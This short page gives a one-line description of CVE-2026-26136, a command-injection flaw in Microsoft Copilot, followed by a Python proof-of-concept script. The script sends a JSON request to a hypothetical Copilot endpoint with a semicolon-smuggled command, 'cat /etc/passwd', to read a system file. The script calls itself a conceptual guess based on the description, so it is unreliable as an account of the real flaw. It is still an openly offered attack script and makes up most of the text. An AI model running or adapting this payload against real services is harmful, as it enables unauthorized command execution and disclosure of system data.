Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to disclose information over a network.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-26136 (Command Injection in Microsoft Copilot)
# This is a conceptual demonstration based on the vulnerability description.
import requests
def trigger_command_injection(target_url, injected_command):
"""
Simulates sending a malicious payload to the vulnerable Copilot endpoint.
"""
headers = {
"Content-Type": "application/json",
"User-Agent": "CVE-2026-26136-Scanner/1.0"
}
# The payload attempts to inject a command using a semicolon separator
payload = f"innocent_query; {injected_command}"
data = {
"input": payload,
"context": "user_prompt"
}
try:
print(f"[*] Sending payload to {target_url}...")
response = requests.post(target_url, json=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check response for command output.")
print("[+] Response snippet:", response.text[:200])
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Example usage (Target URL is hypothetical)
target = "https://api.copilot.example.com/v1/generate"
# Example command to list files (Linux) or whoami
cmd = "cat /etc/passwd"
trigger_command_injection(target, cmd)